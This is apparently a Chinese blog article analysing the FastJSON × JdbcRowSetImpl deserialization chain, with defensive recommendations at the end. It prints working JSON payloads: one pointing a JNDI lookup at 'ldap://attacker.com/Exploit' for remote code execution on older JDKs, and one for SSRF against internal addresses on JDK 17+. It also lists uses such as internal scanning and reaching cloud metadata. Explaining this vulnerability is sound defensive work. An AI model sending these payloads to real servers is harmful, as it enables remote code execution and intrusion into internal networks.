FastJSON × JdbcRowSetImpl 利用链是否还有效?全面解析如何突破 JDK 安全限制

FastJSON × JdbcRowSetImpl 利用链是否还有效?全面解析如何突破 JDK 安全限制

☣️ FastJSON × JdbcRowSetImpl 反序列化利用分析


📌 一、类简介:JdbcRowSetImpl

  • 全类名com.sun.rowset.JdbcRowSetImpl
  • JDK 自带类(Java 8–21+ 均内置)
  • 原本用途:通过 JNDI 查询并连接数据库

⚠️ 二、危险行为分析:JNDI

在 Java 中,setXxx() 形式的公开方法称为“setter 方法”,用于为私有字段赋值。

这个类的 setter 方法有“副作用”:

 public void setDataSourceName(String dsName) throws SQLException {
     this.dataSourceName = dsName;
     this.connect(); // ⚠️ 自动调用 connect()
 }
 ​
 public void connect() throws SQLException {
     Context ctx = new InitialContext();
     DataSource ds = (DataSource) ctx.lookup(this.dataSourceName); // ⚠️ 发起 JNDI 请求
     this.conn = ds.getConnection();
 }

只要调用 setDataSourceName(...),就会触发 connect() → 自动发起 JNDI 请求。


🧬 三、FastJSON 如何触发它?

 {
   "@type": "com.sun.rowset.JdbcRowSetImpl",
   "dataSourceName": "ldap://attacker.com/Exploit",
   "autoCommit": true
 }

FastJSON 自动行为如下:

 // 相当于底层操作
 Class<?> clazz = Class.forName("com.sun.rowset.JdbcRowSetImpl");
 Object obj = clazz.getDeclaredConstructor().newInstance();
 obj.setDataSourceName("ldap://attacker.com/Exploit"); // ⚠️ 触发 connect()
 obj.setAutoCommit(true);

此行为是 FastJSON 在开启 AutoType 时的正常反序列化过程!


🧨 四、利用链可行性分析

✅ JDK ≤ 8u191

  • 允许远程类加载
  • 攻击者可通过 LDAP 服务器返回恶意类,JVM 会加载 → 实现 RCE(远程代码执行)

⚠️ JDK ≥ 8u191、JDK 11、JDK 17+

  • 默认禁用远程类加载
  • 虽然仍会触发 ctx.lookup(...),但不会加载远程字节码
  • RCE 方式失效,但仍可利用….

💥 五、JDK 17+ 下仍可 SSRF!

即使无法加载远程类,但这条链 依然会请求 dataSourceName 所指地址,可用于:

  • 🚰 SSRF:内网探测
  • 🔐 HTTP 请求打内网 Web 应用
  • 🔍 LDAP / Redis / Consul 端口扫描
  • 📬 访问云服务 metadata等

✅ SSRF 示例 Payload:

 {
   "@type": "com.sun.rowset.JdbcRowSetImpl",
   "dataSourceName": "ldap://127.0.0.1:1389/internal-check",  //也可改为HTTP探测端口与IP情况
   "autoCommit": true
 }

虽然 Exploit.class 不会被加载,但 请求会被发送到 127.0.0.1:1389,已构成 SSRF。


🔐 六、防御建议

建议说明
🚫 禁用 AutoTypeFastJSON 最基本防线
✅ 升级 fastjson2默认不支持 AutoType,设计更安全
🔒 使用白名单通过 ParserConfig 明确指定允许的类
🔍 审计依赖检查项目是否引用了 JNDI、JdbcRowSetImpl 等危险类
🧱 限制内网访问给服务器设置 egress 出口访问控制,禁止随意对外连网

🧾 八、总结

项目说明
危险类com.sun.rowset.JdbcRowSetImpl(JDK 自带)
触发点setDataSourceName(...) → 自动调用 connect()
→ 发起 JNDI 请求
FastJSON 利用通过 @type 自动实例化 + setter 自动调用
JDK ≤ 8u191✅ 可加载远程类,实现 RCE
JDK ≥ 8u191❌ 禁止远程类加载,RCE 失效
JDK 17+✅ SSRF 依然可行
现实威胁探测内网、打云服务 API、内网横向移动

具体流程

 [JSON输入]
      ↓
 FastJSON识别 @type
      ↓
 加载 JdbcRowSetImpl 类
      ↓
 调用 setDataSourceName("ldap://...")
      ↓
 触发 connect() → JNDI.lookup()
      ↓
 请求 ldap://attacker.com  //或者SSRF的URL
      ↓
 RCE(JDK ≤ 8u191)或 SSRF(JDK 17+)

© 版权声明
THE END
喜欢就支持一下吧
点赞11赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容